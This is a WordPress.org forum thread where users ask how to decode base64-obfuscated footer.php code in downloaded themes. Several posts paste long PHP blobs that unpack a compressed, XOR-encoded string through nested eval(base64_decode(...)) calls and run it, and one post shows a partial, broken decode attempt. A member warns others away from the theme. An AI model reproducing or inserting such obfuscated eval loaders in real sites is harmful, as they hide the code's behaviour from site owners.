WordPress.org

Forums

footer in base64... how decrypt it? (149 posts)

  1. No, I really can't explain it any more clearly than that. I mean, that's about as basic as it's possible to be.

  2. emom
    Member
    Posted 5 years ago #

    Can you help me please!

    <?php /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. */
    $o="QAAACg07OHdvdyduaWRrcmNiJwAAL1NCSldLRlNCV0ZTTycpJwBAIChlaHNzaGopAlAgLjwnODmE4AMgKGNucQCADg4AxQCRAUAnbmM6JQGAYWhoc2J1JQIAAeB0d2ZpJ2RrEIBmdHQBkGtiYXMBgQ5DYnRuYGkAACc9JztmJ291YmE6JW9zc3cAAD0oKHBwcClwYmU1YWJiaykAAGRoaiUnOVBodWNXdWJ0dCcAFnNvYmpidDsoZjknBaAoBbEGX2EKQHVuYG8GYicAEERoDTB0cnd3aHVgAXMG3wbQYmpoaWJ+ZGJpc3VmByIASCglOURDJ1VmcwajKycR8woNKAABLSdBS05JTCdRMQoNQmlkBaBAAHUMIElCUypTQkQnV09XKkJJAABESENCVSdRJzYpNwoNUEJFwAICEA2oaWJzKnNiZCllbn0oAfBGAABVSU5JQD0nU29udCdhbmtiSAAnAIB3dRPgZHNiYydlfidkaHdAAH4NAidrZnApJ1NoJ3VicWJ1AAB0YidiaWBuaWJidSdodSdjeAJiCNER8APwBHV0c3VuZHNrficFAG8VAG5lbgUQKRNgLQeACg0jaGhoOiUAAFA2aD5IbF53VG1wU1dVZGMAAEFWRnZFfXBWUEJKUERCXWgAAGVQfzJhRWxeXzZOUkZCXnYAAE9WRkZBUlVhREVedEx9fzIAAE5rM19QVTdfQTdeaE9VQkwAAFZRVV1DUl4wSERWNl02UV4ACFB/SmNRRnR3QH9RdwDAP0NWAABoLE1GUnZMbEpMQTdFXVFBACQ2d19Vd0JQQk1TBnBpSwOCb2IAAFVFbElRQl53QGBkU1BtNzAAAGVqczVmVjYyTFJJQ19FN1YAAEJWb2pPRUJGX0FBYURvVnAAAE1EMjJmNklGUFVwKFFGbHcAAEFwRUJVNjJeQ0ZRNlduUnAAAE5rb2FVVTNeUUZWd0VBVkwAAFBqRVRBb1ZrSFQyMklBSVYIAFZvcEMOAH5AcEpGVX03MEZgAoA+PmZuNjMHAVEHAExwYCxBcGQAAElVbEpVU0VSP2FvVXNjfz8AAFZBNnNdQ39KYEJVaElWUWuAAA/BTEhfc3NlcE5fT2tOREJVAABWfUVvaFBSf2NmRVZKamZpAABFMkhtc0xfaW9dQmxjckV/AABOT1A2MkREYGxwQVROb0o3AABSYVVFc2JMf1JpRWtKQ09FAAAySVVGRTZNQzNzTUFrYkF/AABwTE9VTl1BVVFJT1JwUEFsAABeb0t9bHRdNm9QUlZCUVNwAABKMFJga0JXfXdWQ1IyNktAAAFoNEpsTVJQRXRqQG8zbUYawAAAVlVGYkFwPzdBUz90TEEzVgAIVVFzVkM3XmBSb2hVHAZUTjMBAEBCTURQRXcYsF1xUmA/RVU3IABNRBbAfWZuZDNObFJfQ0FOQgAAYlV0cWJBVkRBRT5DRmBSMAAATn0/NExBSWhfYGhJRTczNgAAQDZKMFVrTUFBYGQ+TFBNLAAIXX8/X1NGZGFBcGBxEYBLX0VAAGMawEpqSERof01FP2FTQU5LCABRRU5tJmBCUDZdVkFwd3JLfQAKXTJIb14+SG9WVl9CCoB/CoRTAABsMEpuM3ZLbFFDQkFoTE9WAAROXUVvUUNSRTNhTzdeCoBSdEAASihAX2tOX0VwP25LVkZBT1EFAE5QU1JeBUBsAcBvQVJRTlFBVgAESjZSbD5CVEN3S0NQfxNAd38AAEprRVJQVXRJQGBsbUtVN2QQAFZSVhNAPn5BU2BzTWtjQ19/AABCZEBVTmhQNklCT0VjSUJWAIBGNU1ETnNMURpAfjdMRkZkaQAARW9wT1JBd0REbD4+SlB0dQAAXTdNVFVWY11AYGRgRlVvYQAAUkJoUEBSXWFVfjdwZX9dVSAAQW8n0EZSd0B+dExTUU1BQ1UEAFJvZVBKDgBdaFJgRlZGb0JtwFgHDwcDRW9ecEF/QiFARg4PDghmUH8AgDVWRX8yTFFKO4BkVEBgPmpBAEA3VVZBVklTTmBAwEQzM042SQkAQ0B/dDuAYGkhQExjQlFWRnBjAAA2S30zbU1sUWZQb3BkQVZWAAB+RlVgRUhBa2FlbF59TjVKAABASUZeQ083XV1fU1ZNQDZWgAAfgF1EU0ZBNl5/bFBLb11oVQAARmReT0VON09RNkpib2RQSQACb1I/SFVWM05rUUFPf3cDiVQAAEZVTT9eYFUyXTVVQl9vSmoAAEZFTmtCf2xKUDZOYkJCXT8BAEBGVnBdNWs18E5XQlZKcVBgBBBJSU9CcBUAXnBmbWBHwEoxU08AAD59YlB/S2JGY3JQaz53QnAAIGx9V25WdU5rd2gdwExPNXNyAABSaTJCQVVgUFY3bDFNbmgxJABLNkjAQVJHwHd3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";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>

    Thanx!!

  3. Mark / t31os
    Moderator
    Posted 5 years ago #

    Read the thread...

  4. Len
    Member
    Posted 5 years ago #

    @enom, @freewallpaperka
    The instructions provided by Otto work with the obfuscation method used in your files.

    @mast. bis
    This one is a little different. Looks like it was done via PHPLockit. Your clean file is here --> http://wordpress.pastebin.com/m275646d5

    PS - STAY AWAY FROM THIS THEME.

  5. emom
    Member
    Posted 5 years ago #

    Thank you very much Otto

  6. Megah
    Member
    Posted 5 years ago #

    Hello, I have the sam problem.

    The base64 code in my footer is this:

    <?php /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. */
    $o="QAAAOzh3b3cnbmlka3JjYicvUwAAQkpXS0ZTQldGU08nKScgKAEAZWhzc2hqKQJQIC48Jzg5Cg0AADtjbnEnZGtmdHQ6JWRrYmYGAHUlOTsoAUABtW5jOiVhaGhzYsCEAZAC62FqYmlyJQKAJztyawBya24AIDk7ZidvdWJhOiUIo2VraGBuAIBpYWgvIHJ1awczJTlPaGpiOzEAKGYGgAMQCg0nArNwd1hrbnRzWAAAd2ZgYnQvIHRodXNYZGhrchAAamk6BpFYaHVjYnUhY2J3c28Atjo2IXNuc2tiAxA6BVMJoCgIUgvDDiEACg0BIHR3ZmkNtWtiYXMlOScnAARDYnRuYGliYycnZX4nCtZvcwAAc3c9KChwcHApcGJlNWFiYgAAaylkaGolJ3NmdWBiczolWAa7ZWtmaWwEEAH5JwxRJwBgBpEQEDsAgQcVCMB1bmBvByFEaGMG7wbma2hkZmtqCSBmc2RvBwEoJQceS2gCECdDZnNuLDBpYAbxKwtfC1BoaWtuDVACYnVidGgODHJ1ZGIFHwwiBLMnU253dAUCEE9wKQBDam5ra25oaWZuHKBrbnVzBL8EsgQ3VHJgZnUJwGNjbmIE0hDIDhgwGMMYkPZBJQUp0h6AJQMvKCUpYGN+FAEob3NqaxpQAAAnJyc=";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>

    First I decoded the base64 and I have this:

    $lll=0;eval(base64_decode("JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs="));$ll=0;eval($lllllllllll("JGxsbGxsbGxsbGw9J29yZCc7"));$llll=0;$lllll=3;eval($lllllllllll("JGw9JGxsbGxsbGxsbGxsKCRvKTs="));$lllllll=0;$llllll=($llllllllll($l[1])<<8)+$llllllllll($l[2]);eval($lllllllllll("JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7"));$lllllllll=16;$llllllll="";for(;$lllll<$lllllllllllll($l);){if($lllllllll==0){$llllll=($llllllllll($l[$lllll++])<<8);$llllll+=$llllllllll($l[$lllll++]);$lllllllll=16;}if($llllll&0x8000){$lll=($llllllllll($l[$lllll++])<<4);$lll+=($llllllllll($l[$lllll])>>4);if($lll){$ll=($llllllllll($l[$lllll++])&0x0f)+3;for($llll=0;$llll<$ll;$llll++)$llllllll[$lllllll+$llll]=$llllllll[$lllllll-$lll+$llll];$lllllll+=$ll;}else{$ll=($llllllllll($l[$lllll++])<<8);$ll+=$llllllllll($l[$lllll++])+16;for($llll=0;$llll<$ll;$llllllll[$lllllll+$llll++]=$llllllllll($l[$lllll]));$lllll++;$lllllll+=$ll;}}else$llllllll[$lllllll++]=$llllllllll($l[$lllll++]);$llllll<<=1;$lllllllll--;}eval($lllllllllll("JGxsbGxsbGxsbGxsbD0nY2hyJzs="));$lllll=0;eval($lllllllllll("JGxsbGxsbGxsbD0iPyIuJGxsbGxsbGxsbGxsbCg2Mik7"));$llllllllll="";for(;$lllll<$lllllll;){$llllllllll.=$llllllllllll($llllllll[$lllll++]^0x07);}eval($lllllllllll("JGxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw=="));eval($lllllllll);

    Well I made all that otto said

    put "\n" after every ";"

    and change every "eval" to "echo"

    and when I run This error message appear:

    Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /home/letsmusi/public_html/wordpresscindy/wp-content/themes/tribune/footer.php on line 2
    
    Parse error: syntax error, unexpected T_STRING in /home/letsmusi/public_html/wordpresscindy/wp-content/themes/tribune/footer.php on line 2

    Now mi footer.php archive looks like this.

    <?php /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. */
    $o="QAAAOzh3b3cnbmlka3JjYicvUwAAQkpXS0ZTQldGU08nKScgKAEAZWhzc2hqKQJQIC48Jzg5Cg0AADtjbnEnZGtmdHQ6JWRrYmYGAHUlOTsoAUABtW5jOiVhaGhzYsCEAZAC62FqYmlyJQKAJztyawBya24AIDk7ZidvdWJhOiUIo2VraGBuAIBpYWgvIHJ1awczJTlPaGpiOzEAKGYGgAMQCg0nArNwd1hrbnRzWAAAd2ZgYnQvIHRodXNYZGhrchAAamk6BpFYaHVjYnUhY2J3c28Atjo2IXNuc2tiAxA6BVMJoCgIUgvDDiEACg0BIHR3ZmkNtWtiYXMlOScnAARDYnRuYGliYycnZX4nCtZvcwAAc3c9KChwcHApcGJlNWFiYgAAaylkaGolJ3NmdWBiczolWAa7ZWtmaWwEEAH5JwxRJwBgBpEQEDsAgQcVCMB1bmBvByFEaGMG7wbma2hkZmtqCSBmc2RvBwEoJQceS2gCECdDZnNuLDBpYAbxKwtfC1BoaWtuDVACYnVidGgODHJ1ZGIFHwwiBLMnU253dAUCEE9wKQBDam5ra25oaWZuHKBrbnVzBL8EsgQ3VHJgZnUJwGNjbmIE0hDIDhgwGMMYkPZBJQUp0h6AJQMvKCUpYGN+FAEob3NqaxpQAAAnJyc=";\necho(base64_decode("$lll=0;\necho(base64_decode("JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs="));\n$ll=0;\necho($lllllllllll("JGxsbGxsbGxsbGw9J29yZCc7"));\n$llll=0;\n$lllll=3;\necho($lllllllllll("JGw9JGxsbGxsbGxsbGxsKCRvKTs="));\n$lllllll=0;\n$llllll=($llllllllll($l[1])<<8)+$llllllllll($l[2]);\necho($lllllllllll("JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7"));\n$lllllllll=16;\n$llllllll="";\nfor(;\n$lllll<$lllllllllllll($l);\n){if($lllllllll==0){$llllll=($llllllllll($l[$lllll++])<<8);\n$llllll+=$llllllllll($l[$lllll++]);\n$lllllllll=16;\n}if($llllll&0x8000){$lll=($llllllllll($l[$lllll++])<<4);\n$lll+=($llllllllll($l[$lllll])>>4);\nif($lll){$ll=($llllllllll($l[$lllll++])&0x0f)+3;\nfor($llll=0;\n$llll<$ll;\n$llll++)$llllllll[$lllllll+$llll]=$llllllll[$lllllll-$lll+$llll];\n$lllllll+=$ll;\n}else{$ll=($llllllllll($l[$lllll++])<<8);\n$ll+=$llllllllll($l[$ll